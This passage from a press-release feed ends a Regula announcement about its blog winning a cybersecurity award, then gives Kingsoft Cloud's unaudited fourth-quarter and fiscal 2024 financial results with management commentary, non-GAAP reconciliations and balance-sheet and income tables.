    For more than a decade, the Cybersecurity Excellence Awards have honored individuals, teams, and companies that demonstrate exceptional performance and innovation in cybersecurity.

    The Regula Blog received the award for its expert insights, authoritative opinions, real-world fraud case analyses, practical guides, and forward-looking discussions on evolving security challenges.

    With over 18,000 unique readers per month, the Regula Blog is a fast-growing knowledge hub for professionals in cybersecurity, forensic science, and identity verification. The blog provides in-depth content on deepfake detection, facial recognition, document authentication, forensic examination, and more, to ensure that businesses and professionals get the timely and relevant knowledge they need.

    “In today’s rapidly evolving digital landscape, trust and security are more critical than ever. Our blog is more than just industry news—it’s a true knowledge hub designed to educate and empower professionals tackling identity fraud, document forgery, and cybersecurity risks. Winning this award is an honor and a testament to our team’s effort in providing actionable content that helps businesses navigate today’s complex security challenges,” says Ihar Kliashchou, Chief Technology Officer at Regula.

    These are the current top 10 most-read Regula Blog articles:

    • The series of articles, “Top-Notch ID Document Processing Worldwide,” with Mexico, China, India, Myanmar, Sri Lanka, USA, and Japan as best performers.
    • The Most Beautiful Passports in the World: Regula’s Pick
    • Masterpieces in Banknote Holograms Across the World
    • A Tricky Part of MRZ Reading: What You Might Overlook
    • The Impact of Deepfake Fraud: Risks, Solutions, and Global Trends
    • How to Verify a Passport Like a Pro
    • Should Businesses Prepare for the Surprising Shift Toward Portrait-Oriented IDs?
    • RFID Technology for Identity Verification: A Comprehensive Guide
    • Inside Passport Control: Primary and Secondary Inspections
    • A Guide to Non-Destructive Methods for Examining Alterations in Handwritten Text

    For more insights and expert analysis, visit the award-winning Regula Blog.

    About Regula

    Regula is a global developer of forensic devices and identity verification solutions. With our 30+ years of experience in forensic research and the most comprehensive library of document templates in the world, we create breakthrough technologies for document and biometric verification. Our hardware and software solutions allow over 1,000 organizations and 80 border control authorities globally to provide top-notch client service without compromising safety, security, or speed. Regula has been repeatedly named a Representative Vendor in the Gartner® Market Guide for Identity Verification.

    Learn more at www.regulaforensics.com.

    Contact:
    Kristina – ks@regulaforensics.com

    A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/b43b713b-6760-4e89-8a88-6a6561fad951

    The MIL Network –

    March 20, 2025
  • MIL-OSI: Kingsoft Cloud Announces Unaudited Fourth Quarter and Fiscal Year 2024 Financial Results; First Time Operating Margin Profitable with Accelerated Growing Revenue of AI Cloud

    Source: GlobeNewswire (MIL-OSI)

    BEIJING, March 19, 2025 (GLOBE NEWSWIRE) — Kingsoft Cloud Holdings Limited (“Kingsoft Cloud” or the “Company”) (NASDAQ: KC and HKEX: 3896), a leading cloud service provider in China, today announced its unaudited financial results for the fourth quarter and fiscal year ended December 31, 2024.

    Fourth Quarter Financial Highlights

    • Total Revenues reached RMB2,232.1 million (US$305.8 million)1, increased by 29.6% year-over-year from RMB1,722.5 million in the same quarter of 2023. Our business has experienced accelerated and high-quality growth and our revenue structure is well-balanced.
    • Gross profit was RMB426.0 million (US$58.4 million), representing a significant increase of 68.3% from RMB253.1 million in the same quarter of 2023. Our profitability has been fundamentally improved.
    • Non–GAAP EBITDA2 was RMB359.7 million (US$49.3 million), compared with RMB-27.7 million in the same quarter of 2023. Non–GAAP EBITDA margin was 16. 1%, compared with -1.6% in the same quarter of 2023.
    • Operating loss was RMB43.5 million (US$6.0 million), compared with operating loss of RMB342.7 million in the same quarter of 2023.
    • Non–GAAP Operating profit (loss) turned profit for the first time, achieving RMB24.4 million (US$3.3 million), compared with RMB-187.6 million in the same quarter of 2023. Non–GAAP Operating profit (loss) margin was 1. 1%, compare with -10.9% in the same quarter of 2023.

    Mr. Tao Zou, Chief Executive Officer of Kingsoft Cloud, commented, “We are very pleased to close Fiscal Year 2024 with historically strong financial performance. This quarter, we recorded positive non–GAAP operating profit (loss)for the first time, demonstrating our unwavering execution of the ‘High- quality, Sustainable Development Strategy’. Driven by the growing popularity of AI applications, we firmly believe that AI will continue to penetrate into various verticals, improving the efficiency of daily life. This quarter the gross billing of AI business increased by triple-digit year-over-year to RMB474 million. Both our public cloud and enterprise cloud businesses are harnessing the vast potential of AI cloud computing. Meanwhile, we have seen strong growth in demand from our ecosystem. Revenue from Xiaomi and Kingsoft Group increased by 76% year-over-year. We are well on track to build cutting- edge cloud infrastructure and technology to support our ecosystem and expand into the broader AI industry.”

    Mr. Henry He, Chief Financial Officer of Kingsoft Cloud, added, “We are very pleased to highlight several significant achievements. First, we achieved profitability in non-GAAP operating profit for the first time since our inception in 2012, demonstrating our strong execution of our high-quality and sustainable development strategy in the past two years. Second, our revenue has been growing for three consecutive quarters year-over-year, and this quarter we achieved a high-speed growth rate of 30% in total revenue, reaching RMB2,232.1 million. Third, gross billing of our Al cloud business increased by around 500% year-over-year to RMB474 million, accounting for as high as 34% of our public cloud revenue. This marks a three-digit year-on-year growth or six consecutive quarters. Fourth, last December, our shareholders approved revenue from connected-party of Xiaomi and Kingsoft Group for next three years of RMB11.3 billion, around 10 times over the revenue of 2023, providing solid support for Company’s revenue and profit growth. We believe we are well on track to meet the ecosystem’s fast-growing demands and build a solid cloud infrastructure to support its AI development. Notably, in this quarter, we are thrilled to report that revenue from Xiaomi and Kingsoft Group increased by 76% year-over-year, validating the effectiveness of our ecosystem strategy.”

    Fourth Quarter 2024 Financial Results

    Total Revenues reached RMB2,232.1 million (US$305.8 million), increased by 29.6% year-over-year from RMB1,722.5 million in the same quarter of 2023 and increased by 18.4% quarter-over-quarter from RMB1,885.6 million in the third quarter of 2024. The year-over-year increase was mainly due to the expanded revenue from Xiaomi and Kingsoft Ecosystem and AI related customers, incremental demands and more projects delivered from enterprise cloud approaching year-end.

    • Revenues from public cloud services were RMB1,409.8 million (US$193.1 million), increased by 34.0% from RMB1,052.0 million in the same quarter of 2023 and increased by 19.9% from RMB1, 175.5 million last quarter. The year-over-year increase was mainly due to the growth of AI demands.

    ______________________
    1 This announcement contains translations of certain Renminbi (RMB) amounts into U.S. dollars (US$) at a specified rate solely for the convenience of the reader. Unless otherwise noted, the translation of RMB into US$ has been made at RMB7.2993 to US$1.00, the noon buying rate in effect on December 31, 2024 as certified for customs purposes by the Federal Reserve Bank of New York.

    2 Non-GAAP EBITDA is defined as non-GAAP net loss excluding interest income, interest expense, income tax expense (benefit) and depreciation and amortization, and we define Non-GAAP EBITDA margin as Non-GAAP EBITDA as a percentage of revenues. See “Use of Non-GAAP Financial Measures” set forth at the end of this press release.

    • Revenues from enterprise cloud services were RMB822.3 million (US$112.7 million), representing an increase of 22.7% from RMB670.3 million in the same quarter of 2023 and an increase of 15.8% from RMB710.0 million last quarter. We keep focusing in selected verticals such as public services cloud, state-owned assets cloud, healthcare, financial services and private enterprise services, enhance our solutions with AI capabilities and take profitability and sustainability of the enterprise cloud projects as our priorities.
    • Other revenues were nil this quarter.

    Cost of revenues was RMB1,806.2 million (US$247.4 million), representing an increase of 22.9% from RMB1,469.3 million in the same quarter of 2023, which was in-line with our revenue expansion. IDC costs decreased by 2.6% year-over-year from RMB740.4 million to RMB721.5 million (US$98.8 million) this quarter. The decrease was in line with the scale down of our CDN services and our strict control over procurement costs. Depreciation and amortization costs increased from RMB146.9 million in the same quarter of 2023 to RMB343.1 million (US$47.0 million) this quarter. The increase was mainly due to the depreciation of newly acquired servers which were related to AI business. Solution development and services costs increased by 10.8% year-over-year from RMB502.9 million in the same quarter of 2023 to RMB557.0 million (US$76.3 million) this quarter. The increase was mainly due to the solution personnel expansion of Camelot. Fulfillment costs and other costs were RMB102.4 million (US$14.0 million) and RMB82.2 million (US$11.3 million) this quarter.

    Gross profit was RMB426.0 million (US$58.4 million), representing a significant increase of 68.3% from RMB253.1 million in the same quarter of 2023, demonstrating our improvements in revenue quality and structure, as well as strict cost control. Gross margin was 19. 1%, compared with 14.7% in the same period in 2023. Non–GAAP gross profit3 was RMB427.7 million (US$58.6 million), compared with RMB262.5 million in the same period in 2023. Non–GAAP gross margin3 was 19.2%, compared with 15.2% in the same period in 2023. The significant improvement of our gross profit and margin was mainly due to our strategic adjustment of revenue mix, expansion of AI revenues, optimized enterprise cloud project selection and efficient cost control measures.

    Total operating expenses were RMB469.5 million (US$64.3 million), decreased by 21.2% from RMB595.9 million in the same quarter last year and decreased by 67.6% from RBM1,447.1 million last quarter. Among which:

    Selling and marketing expenses were RMB115.8 million (US$15.9 million), decreased by 8.4% from RMB126.5 million in the same period in 2023 and decreased by 4.4% from RMB121.1 million last quarter, the decrease was due to the decrease of share-based compensation.

    General and administrative expenses were RMB179.5 million (US$24.6 million), decreased by 39.0% from RMB294.2 million in the same period in 2023 and slightly increased by 5.4% from RMB170.4 million last quarter. The year-over-year decrease was mainly due to the decrease of credit loss expense.

    Research and development expenses were RMB174.2 million (US$23.9 million), decreased by 0.6% from RMB175.2 million in the same period in 2023 and 26.2% from RMB235.9 million last quarter. The decrease was mainly due to the decrease of share-based compensation.

    Operating loss was RMB43.5 million (US$6.0 million), compared with operating loss of RMB342.7 million in the same quarter of 2023 and RMB1,143.8 million last quarter. The improvement was mainly due to the increase of gross profit and our strict expenses control. Non–GAAP operating profit (loss)4 was RMB24.4 million (US$3.3 million), compared with operating loss of RMB187.6 million in the same quarter last year and RMB140.2 million last quarter. Our non-GAAP operating profit (loss) turned breakeven for the first time and verified our high quality and sustainable development strategy.

    Net loss was RMB200.6 million (US$27.5 million), compared with net loss of RMB286.8 million in the same quarter of 2023 and RMB1,061.1 million last quarter. Non–GAAP net loss5 was RMB70.3 million (US$9.6 million), narrowed down compared with RMB250.4 million in the same quarter of 2023 and RMB236.7 million last quarter. The improvement was mainly due to the revenue quality increase, revenue mix adjustment, strict costs control and expenses control.
    ______________________
    3 Non-GAAP gross profit is defined as gross profit excluding share-based compensation allocated in the cost of revenues and we define Non-GAAP gross margin as Non-GAAP gross profit as a percentage of revenues. See “Use of Non-GAAP Financial Measures” set forth at the end of this press release.

    4 Non-GAAP operating loss is defined as operating loss excluding share-based compensation, impairment of long-lived assets and amortization of intangible assets and we define Non-GAAP operating loss margin as Non-GAAP operating loss as a percentage of revenues. See “Use of Non-GAAP Financial Measures” set forth at the end of this press release.

    5 Non-GAAP net loss is defined as net loss excluding share-based compensation, impairment of long-lived assets and foreign exchange (gain) loss, and we define Non-GAAP net loss margin as Non-GAAP net loss as a percentage of revenues. See “Use of Non-GAAP Financial Measures” set forth at the end of this press release.

    Non–GAAP EBITDA6 was RMB359.7 million (US$49.3 million), compared with RMB-27.7 million in the same quarter of 2023 and RMB185.4 million last quarter. Non–GAAP EBITDA margin was 16. 1%, compared with -1.6% in the same quarter of 2023 and 9.8% last quarter. The increase was mainly due to the expansion in gross profit and our strict control over costs and expenses.

    Basic and diluted net loss per share was RMB0.05 (US$0.01), compared with RMB0.08 in the same quarter of 2023 and RMB0.29 last quarter.

    Cash and cash equivalents were RMB2,648.8 million (US$362.9 million) as of December 31, 2024, compared with RMB1,617.9 million as of September 30, 2024. The increase was mainly due to the increased cash receipts from operating activities and the increase in bank loan drawdowns.

    Fiscal Year 2024 Financial Results

    Total Revenues reached RMB7,785.2 million (US$1,066.6 million), representing an increase of 10.5% from RMB7,047.5 million in 2023. The increase was due to the strong demands from AI business and enterprise cloud projects increase, while partially offset by our proactive scale-down of CDN services within public cloud services.

    • Revenues from public cloud services were RMB5,007.3 million (US$686.0 million), representing an increase of 14.3% from RMB4,381.7 million in 2023.
    • Revenues from enterprise cloud services were RMB2,777.8 million (US$380.6 million), representing an increase of 4.3% from RMB2,664.0 million in 2023.
    • Other revenues were RMB0.1 million (US$0.02 million).

    ______________________
    6
    Non-GAAP EBITDA is defined as Non-GAAP net loss excluding interest income, interest expense, income tax expense (benefit) and depreciation and amortization, and we define Non-GAAP EBITDA margin as Non-GAAP EBITDA as a percentage of revenues. See “Use of Non-GAAP Financial Measures” set forth at the end of this press release.

    Cost of revenues was RMB6,444.3 million (US$882.9 million), representing a slight increase of 4.0% from RMB6, 197.3 million in 2023. Among which:

    IDC costs decreased by 9.9% to RMB2,892.1 million (US$396.2 million) from RMB3,211.2 million in 2023. The decrease was in line with our cost control measures adjustment of CDN services. Depreciation and amortization costs were RMB1,090.1 million (US$149.3 million), compared with RMB774.0 million in 2023, mainly due to the depreciation of new acquired servers related to AI business. Fulfillment costs were RMB235.7 million (US$32.3 million), representing an increase of 2.7% from RMB229.5 million in 2023. The increase was in line with enterprise cloud projects increase. Solution development and services costs were RMB1,993.1 million (US$273.1 million) in 2024, compared with RMB1,804.8 million in 2023. The increase was mainly due to the revenue expansion of Camelot business.

    Gross profit increased by 57.7% to RMB1,340.9 million (US$183.7 million) in 2024, from RMB850.2 million in 2023. Gross margin increased to 17.2%, from 12. 1% in 2023. Non–GAAP gross profit increased to RMB1,357.8 million (US$186.0 million) in 2024, from RMB859.9 million in 2023. Non–GAAP gross margin increased to 17.4% in 2024 from 12.2% in 2023. Such increases were primarily because of the optimization of revenue mix and our effective cost controls.

    Selling and marketing expenses were RMB479.4 million (US$65.7 million), compared with RMB460.2 million in 2023. The increase was mainly due to the increase of share-based compensation.

    General and administrative expenses were RMB834.9 million (US$114.4 million), compared with RMB1,060.0 million in 2023. The decrease was mainly due to the decrease of credit loss expense.

    Research and development expenses were RMB846.0 million (US$115.9 million), compared with RMB784.8 million in 2023. The increase was mainly due to the rise in personnel-related expenses.

    Impairment of long–lived assets was RMB919.7 million (US$126.0 million), mainly attributable to impairment of long-lived assets dedicated to assets of low-margin services.

    Operating loss was RMB1,739.0 million (US$238.2 million), compared with RMB2, 108.6 million in 2023. Non–GAAP operating loss was RMB431.3 million (US$59.1 million), significantly narrowed compared with RMB1,092.8 million in 2023. Non–GAAP operating loss margin was 5.5%, significantly improved from 15.5% in 2023.

    Net loss was RMB1,979.0 million (US$271.1 million), significantly narrowed from net loss of RMB2, 183.6 million in 2023.

    Non–GAAP net loss was RMB825.3 million (US$113.1 million), compared with Non-GAAP net loss of RMB1,291.1 million in 2023.

    Non–GAAP EBITDA was RMB638.9 million (US$87.5 million), compared with RMB-265.1 million in 2023. Non–GAAP EBITDA margin was 8.2%, compared with -3.8% in 2023.

    Basic and diluted net loss per share was RMB0.54 (US$0.07), compared with RMB0.61 in 2023.

    Outstanding ordinary shares were 3,687,690,772 as of December 31, 2024, equivalent to about 245,846,051 ADSs.

    Conference Call Information

    Kingsoft Cloud’s management will host an earnings conference call on Wednesday, March 19, 2025 at 8:15 am, U.S. Eastern Time (8:15 pm, Beijing/Hong Kong Time on the same day).

    Participants can register for the conference call by navigating to https://register-conf.media-server.com/register/BIc315136cafe94825b98dca6b37795790. Once preregistration has been completed, participants will receive dial-in numbers, direct event passcode, and a unique access PIN.

    To join the conference, simply dial the number in the calendar invite you receive after preregistering, enter the passcode followed by your PIN, and you will join the conference instantly.

    Additionally, a live and archived webcast of the conference call will also be available on the Company’s investor relations website at http://ir.ksyun.com.

    Use of Non–GAAP Financial Measures

    The unaudited condensed consolidated financial information is prepared in conformity with accounting principles generally accepted in the United States of America (“U.S. GAAP”). In evaluating our business, we consider and use certain non-GAAP measures, Non-GAAP gross profit, Non-GAAP gross margin, Non-GAAP operating loss, Non-GAAP operating loss margin, Non-GAAP EBITDA, Non-GAAP EBITDA margin, Non-GAAP net loss and Non-GAAP net loss margin, as supplemental measures to review and assess our operating performance. The presentation of these non-GAAP financial measures is not intended to be considered in isolation or as a substitute for the financial information prepared and presented in accordance with U.S. GAAP. We define Non- GAAP gross profit as gross profit excluding share-based compensation allocated in the cost of revenues, and we define Non-GAAP gross margin as Non-
    GAAP gross profit as a percentage of revenues. We define Non-GAAP operating loss as operating loss excluding share-based compensation, impairment of long-lived assets and amortization of intangible assets, and we define Non-GAAP operating loss margin as Non-GAAP operating loss as a percentage of revenues. We define Non-GAAP net loss as net loss excluding share-based compensation, foreign exchange (gain) loss and impairment of long-lived assets, and we define Non-GAAP net loss margin as Non-GAAP net loss as a percentage of revenues. We define Non-GAAP EBITDA as Non-GAAP net loss excluding interest income, interest expense, income tax expense (benefit) and depreciation and amortization, and we define Non-GAAP EBITDA margin as Non-GAAP EBITDA as a percentage of revenues. We present these non-GAAP financial measures because they are used by our management to evaluate our operating performance and formulate business plans. We also believe that the use of these non-GAAP measures facilitates investors’ assessment of our operating performance.

    These non-GAAP financial measures are not defined under U.S. GAAP and are not presented in accordance with U.S. GAAP. These non-GAAP financial measures have limitations as analytical tools. One of the key limitations of using these non-GAAP financial measures is that they do not reflect all items of income and expense that affect our operations. Further, these non-GAAP measures may differ from the non-GAAP information used by other companies, including peer companies, and therefore their comparability may be limited.

    We compensate for these limitations by reconciling these non-GAAP financial measures to the nearest U.S. GAAP performance measure, all of which should be considered when evaluating our performance. We encourage you to review our financial information in its entirety and not rely on a single financial measure.

    Exchange Rate Information

    This press release contains translations of certain RMB amounts into U.S. dollars at specified rates solely for the convenience of readers. Unless otherwise noted, all translations from RMB to U.S. dollars, in this press release, were made at a rate ofRMB7.2993 to US$1.00, the noon buying rate in effect on December 31, 2024 as certified for customs purposes by the Federal Reserve Bank of New York.

    Safe Harbor Statement

    This announcement contains forward-looking statements. These statements are made under the “safe harbor” provisions of the U.S. Private Securities Litigation Reform Act of 1995. These forward-looking statements can be identified by terminology such as “will,” “expects,” “anticipates,” “future,” “intends,” “plans,” “believes,” “estimates” and similar statements. Among other things, the Business Outlook, and quotations from management in this announcement, as well as Kingsoft Cloud’s strategic and operational plans, contain forward-looking statements. Kingsoft Cloud may also make written or oral forward-looking statements in its periodic reports to the U.S. Securities and Exchange Commission (“SEC”), in its annual report to shareholders, in press releases and other written materials and in oral statements made by its officers, directors or employees to third parties. Statements that are not historical facts, including but not limited to statements about Kingsoft Cloud’s beliefs and expectations, are forward-looking statements. Forward-looking statements involve inherent risks and uncertainties. A number of factors could cause actual results to differ materially from those contained in any forward-looking statement, including but not limited to the following: Kingsoft Cloud’s goals and strategies; Kingsoft Cloud’s future business development, results of operations and financial condition; relevant government policies and regulations relating to Kingsoft Cloud’s business and industry; the expected growth of the cloud service market in China; the expectation regarding the rate at which to gain customers, especially Premium Customers; Kingsoft Cloud’s ability to monetize the customer base; fluctuations in general economic and business conditions in China; and the economy in China and elsewhere generally; China’s political or social conditions and assumptions underlying or related to any of the foregoing. Further information regarding these and other risks is included in Kingsoft Cloud’s filings with the SEC. All information provided in this press release and in the attachments is as ofthe date of this press release, and Kingsoft Cloud does not undertake any obligation to update any forward-looking statement, except as required under applicable law.

    About Kingsoft Cloud Holdings Limited

    Kingsoft Cloud Holdings Limited (NASDAQ: KC and HKEX:3896) is a leading cloud service provider in China. With extensive cloud infrastructure, cutting-edge cloud-native products based on vigorous cloud technology research and development capabilities, well-architected industry-specific solutions and end-to-end fulfillment and deployment, Kingsoft Cloud offers comprehensive, reliable and trusted cloud service to customers in strategically selected verticals.

    For more information, please visit: http://ir.ksyun.com.

    For investor and media inquiries, please contact:
    Kingsoft Cloud Holdings Limited
    Nicole Shan
    Tel: +86 (10) 6292-7777 Ext. 6300
    Email: ksc–ir@kingsoft.com

    KINGSOFT CLOUD HOLDINGS LIMITED
    UNAUDITED CONDENSED CONSOLIDATED BALANCE SHEETS
    (All amounts in thousands)
      Dec 31,
    2023
    Dec 31,
    2024
    Dec 31,
    2024
      RMB RMB US$
    ASSETS      
    Current assets:      
    Cash and cash equivalents 2,255,287   2,648,764   362,879  
    Restricted cash 234,194   81,337   11,143  
    Accounts receivable, net 1,529,915   1,468,663   201,206  
    Short-term investments —   90,422   12,388  
    Prepayments and other assets 1,812,692   2,233,074   305,930  
    Amounts due from related parties 266,036   318,526   43,638  
    Total current assets 6,098,124   6,840,786   937,184  
    Non-current assets:      
    Property and equipment, net 2,186,145   4,630,052   634,315  
    Intangible assets, net 834,478   694,880   95,198  
    Goodwill 4,605,724   4,605,724   630,982  
    Prepayments and other assets 870,781   449,983   61,647  
    Equity investments 259,930   234,182   32,083  
    Amounts due from related parties 56,264   —   —  
    Operating lease right-of-use assets 158,832   137,047   18,775  
    Total non-current assets 8,972,154   10,751,868   1,473,000  
    Total assets 15,070,278   17,592,654   2,410,184  
           
    LIABILITIES, NON-CONTROLLING INTERESTS AND SHAREHOLDERS’ EQUITY      
    Current liabilities:      
    Accounts payable 1,805,083   1,877,004   257,149  
    Accrued expenses and other current liabilities 2,838,085   3,341,990   457,851  
    Short-term borrowings 1,110,896   2,225,765   304,928  
    Income tax payable 63,961   69,219   9,483  
    Amounts due to related parties 931,906   1,584,199   217,034  
    Current operating lease liabilities 78,659   61,258   8,392  
    Total current liabilities 6,828,590   9,159,435   1,254,837  
    Non-current liabilities:      
    Long-term borrowings 100,000   1,660,584   227,499  
    Amounts due to related parties 40,069   309,612   42,417  
    Deferred tax liabilities 142,565   101,677   13,930  
    Other liabilities 634,803   790,271   108,267  
    Non-current operating lease liabilities 78,347   65,755   9,008  
    Total non-current liabilities 995,784   2,927,899   401,121  
    Total liabilities 7,824,374   12,087,334   1,655,958  
    Shareholders’ equity:      
    Ordinary shares 25,443   25,689   3,519  
    Treasury stock (208,385 ) (105,478 ) (14,450 )
    Additional paid-in capital 18,811,028   18,940,885   2,594,891  
    Statutory reserves funds 21,765   32,001   4,384  
    Accumulated deficit (12,315,041 ) (14,291,957 ) (1,957,990 )
    Accumulated other comprehensive income 555,342   566,900   77,665  
    Total Kingsoft Cloud Holdings Limited shareholders’ equity 6,890,152   5,168,040   708,019  
    Non-controlling interests 355,752   337,280   46,207  
    Total equity 7,245,904   5,505,320   754,226  
    Total liabilities, non-controlling interests and shareholders’ equity 15,070,278   17,592,654   2,410,184  
           
    KINGSOFT CLOUD HOLDINGS LIMITED
    UNAUDITED CONDENSED CONSOLIDATED STATEMENTS OF COMPREHENSIVE LOSS
    (All amounts in thousands, except for share and per share data)
      Three Months Ended Twelve Months Ended
      Dec 31,
    2023
    Mar 31,
    2024
    Jun 30,
    2024
    Sep 30,
    2024
    Dec 31,
    2024
    Dec 31,
    2024
    Dec 31,
    2023
    Dec 31,
    2024
    Dec 31,
    2024
      RMB RMB RMB RMB RMB US$ RMB RMB US$
    Revenues:                  
    Public cloud services 1,051,966   1,187,370   1,234,542   1,175,535   1,409,804   193,142   4,381,741   5,007,251   685,991  
    Enterprise cloud services 670,331   588,162   657,238   710,039   822,338   112,660   2,663,993   2,777,777   380,554  
    Others 153   152   –   –   –   –   1,727   152   21  
    Total revenues 1,722,450   1,775,684   1,891,780   1,885,574   2,232,142   305,802   7,047,461   7,785,180   1,066,566  
    Cost of revenues (1,469,312 ) (1,482,431 ) (1,573,433 ) (1,582,220 ) (1,806,170 ) (247,444 ) (6,197,292 ) (6,444,254 ) (882,859 )
    Gross profit 253,138   293,253   318,347   303,354   425,972   58,358   850,169   1,340,926   183,707  
    Operating expenses:                  
    Selling and marketing expenses (126,477 ) (116,752 ) (125,708 ) (121,117 ) (115,792 ) (15,863 ) (460,221 ) (479,369 ) (65,673 )
    General and administrative expenses (294,240 ) (218,695 ) (266,249 ) (170,374 ) (179,536 ) (24,596 ) (1,060,022 ) (834,854 ) (114,375 )
    Research and development expenses (175,155 ) (231,963 ) (203,959 ) (235,912 ) (174,155 ) (23,859 ) (784,807 ) (845,989 ) (115,900 )
    Impairment of long-lived assets –   –   –   (919,724 ) –   –   (653,670 ) (919,724 ) (126,002 )
    Total operating expenses (595,872 ) (567,410 ) (595,916 ) (1,447,127 ) (469,483 ) (64,318 ) (2,958,720 ) (3,079,936 ) (421,950 )
    Operating loss (342,734 ) (274,157 ) (277,569 ) (1,143,773 ) (43,511 ) (5,960 ) (2,108,551 ) (1,739,010 ) (238,243 )
    Interest income 12,442   8,370   9,945   4,517   4,176   572   78,410   27,008   3,700  
    Interest expense (46,992 ) (51,066 ) (59,414 ) (57,404 ) (61,821 ) (8,469 ) (146,026 ) (229,705 ) (31,469 )
    Foreign exchange gain (loss) 74,011   (42,737 ) (6,999 ) 135,777   (105,572 ) (14,463 ) (57,211 ) (19,531 ) (2,676 )
    Other (loss) gain, net (16,741 ) (8,207 ) (7,829 ) 6,046   (2,956 ) (405 ) (32,673 ) (12,946 ) (1,774 )
    Other income (expense), net 33,776   (11,190 ) (4,961 ) 4,433   5,336   731   100,363   (6,382 ) (874 )
    Loss before income taxes (286,238 ) (378,987 ) (346,827 ) (1,050,404 ) (204,348 ) (27,994 ) (2,165,688 ) (1,980,566 ) (271,336 )
    Income tax (expense) benefit (598 ) 15,371   (6,891 ) (10,662 ) 3,706   508   (17,959 ) 1,524   209  
    Net loss (286,836 ) (363,616 ) (353,718 ) (1,061,066 ) (200,642 ) (27,486 ) (2,183,647 ) (1,979,042 ) (271,127 )
    Less: net loss attributable to non-controlling interests (2,688 ) (4,206 ) (542 ) (3,931 ) (3,683 ) (505 ) (7,307 ) (12,362 ) (1,694 )
    Net loss attributable to Kingsoft Cloud Holdings Limited (284,148 ) (359,410 ) (353,176 ) (1,057,135 ) (196,959 ) (26,981 ) (2,176,340 ) (1,966,680 ) (269,433 )
                       
    Net loss per share:                  
    Basic and diluted (0.08 ) (0.10 ) (0.10 ) (0.29 ) (0.05 ) (0.01 ) (0.61 ) (0.54 ) (0.07 )
    Shares used in the net loss per share computation:                  
    Basic and diluted 3,570,915,939   3,614,662,846   3,649,307,331   3,655,882,906   3,710,632,202   3,710,632,202   3,558,354,940   3,658,088,876   3,658,088,876  
    Other comprehensive (loss) income, net of tax of nil:                  
    Foreign currency translation adjustments (67,636 ) 20,704   (530 ) (112,296 ) 103,658   14,201   102,241   11,536   1,580  
    Comprehensive loss (354,472 ) (342,912 ) (354,248 ) (1,173,362 ) (96,984 ) (13,285 ) (2,081,406 ) (1,967,506 ) (269,547 )
    Less: Comprehensive loss attributable to non-controlling interests (2,662 ) (4,247 ) (570 ) (3,900 ) (3,667 ) (502 ) (7,334 ) (12,384 ) (1,697 )
    Comprehensive loss attributable to Kingsoft Cloud Holdings Limited shareholders (351,810 ) (338,665 ) (353,678 ) (1,169,462 ) (93,317 ) (12,783 ) (2,074,072 ) (1,955,122 ) (267,850 )
                       
    KINGSOFT CLOUD HOLDINGS LIMITED
    RECONCILIATION OF GAAP AND NON-GAAP RESULTS
    (All amounts in thousands, except for percentage)
      Three Months Ended Twelve Months Ended
      Dec 31,
    2023
    Mar 31,
    2024
    Jun 30,
    2024
    Sep 30,
    2024
    Dec 31,
    2024
    Dec 31,
    2024
    Dec 31,
    2023
    Dec 31,
    2024
    Dec 31,
    2024
      RMB RMB RMB RMB RMB US$ RMB RMB US$
    Gross profit 253,138 293,253 318,347 303,354 425,972 58,358 850,169 1,340,926 183,707
    Adjustments:                  
    – Share-based compensation expenses (allocated in cost of revenues) 9,330 5,814 5,076 4,252 1,726 236 9,757 16,868 2,311
    Adjusted gross profit (Non-GAAP Financial Measure) 262,468 299,067 323,423 307,606 427,698 58,594 859,926 1,357,794 186,018
                       
    KINGSOFT CLOUD HOLDINGS LIMITED
    RECONCILIATION OF GAAP AND NON-GAAP RESULTS
    (All amounts in thousands, except for percentage)
      Three Months Ended Twelve Months Ended
      Dec 31,
    2023
    Mar 31,
    2024
    Jun 30,
    2024
    Sep 30,
    2024
    Dec 31,
    2024
    Dec 31,
    2023
    Dec 31,
    2024
    Gross margin 14.7 % 16.5 % 16.8 % 16.1 % 19.1 % 12.1 % 17.2 %
    Adjusted gross margin (Non-GAAP Financial Measure) 15.2 % 16.8 % 17.1 % 16.3 % 19.2 % 12.2 % 17.4 %
                   
    KINGSOFT CLOUD HOLDINGS LIMITED
    RECONCILIATION OF GAAP AND NON-GAAP RESULTS
    (All amounts in thousands, except for percentage)
      Three Months Ended Twelve Months Ended
      Dec 31,
    2023
    Mar 31,
    2024
    Jun 30,
    2024
    Sep 30,
    2024
    Dec 31,
    2024
    Dec 31,
    2024
    Dec 31,
    2023
    Dec 31,
    2024
    Dec 31,
    2024
      RMB RMB RMB RMB RMB US$ RMB RMB US$
    Net Loss (286,836 ) (363,616 ) (353,718 ) (1,061,066 ) (200,642 ) (27,486 ) (2,183,647 ) (1,979,042 ) (271,127 )
    Adjustments:                  
    – Share-based compensation expenses 110,437   103,595   45,649   40,423   24,774   3,394   181,645   214,441   29,378  
    – Foreign exchange (gain) loss (74,011 ) 42,737   6,999   (135,777 ) 105,572   14,463   57,211   19,531   2,676  
    – Impairment of long-lived assets –   –   –   919,724   –   –   653,670   919,724   126,002  
    Adjusted net loss (Non-GAAP Financial Measure) (250,410 ) (217,284 ) (301,070 ) (236,696 ) (70,296 ) (9,629 ) (1,291,121 ) (825,346 ) (113,071 )
    Adjustments:                  
    – Interest income (12,442 ) (8,370 ) (9,945 ) (4,517 ) (4,176 ) (572 ) (78,410 ) (27,008 ) (3,700 )
    – Interest expense 46,992   51,066   59,414   57,404   61,821   8,469   146,026   229,705   31,469  
    – Income tax expense (benefit) 598   (15,371 ) 6,891   10,662   (3,706 ) (508 ) 17,959   (1,524 ) (209 )
    – Depreciation and amortization 187,542   223,146   305,304   358,540   376,100   51,525   940,482   1,263,090   173,043  
    Adjusted EBITDA (Non-GAAP Financial Measure) (27,720 ) 33,187   60,594   185,393   359,743   49,285   (265,064 ) 638,917   87,532  
    – (Gain) loss on disposal of property and equipment –   (23,821 ) –   (10,667 ) (10,137 ) (1,389 ) 22,996   (44,625 ) (6,114 )
    Excluding loss or gain on disposal of property and equipment, normalized Adjusted EBITDA (27,720 ) 9,366   60,594   174,726   349,606   47,896   (242,068 ) 594,292   81,418  
                       
    KINGSOFT CLOUD HOLDINGS LIMITED
    RECONCILIATION OF GAAP AND NON-GAAP RESULTS
    (All amounts in thousands, except for percentage)
      Three Months Ended Twelve Months Ended
      Dec 31,
    2023
    Mar 31,
    2024
    Jun 30,
    2024
    Sep 30,
    2024
    Dec 31,
    2024
    Dec 31,
    2024
    Dec 31,
    2023
    Dec 31,
    2024
    Dec 31,
    2024
      RMB RMB RMB RMB RMB US$ RMB RMB US$
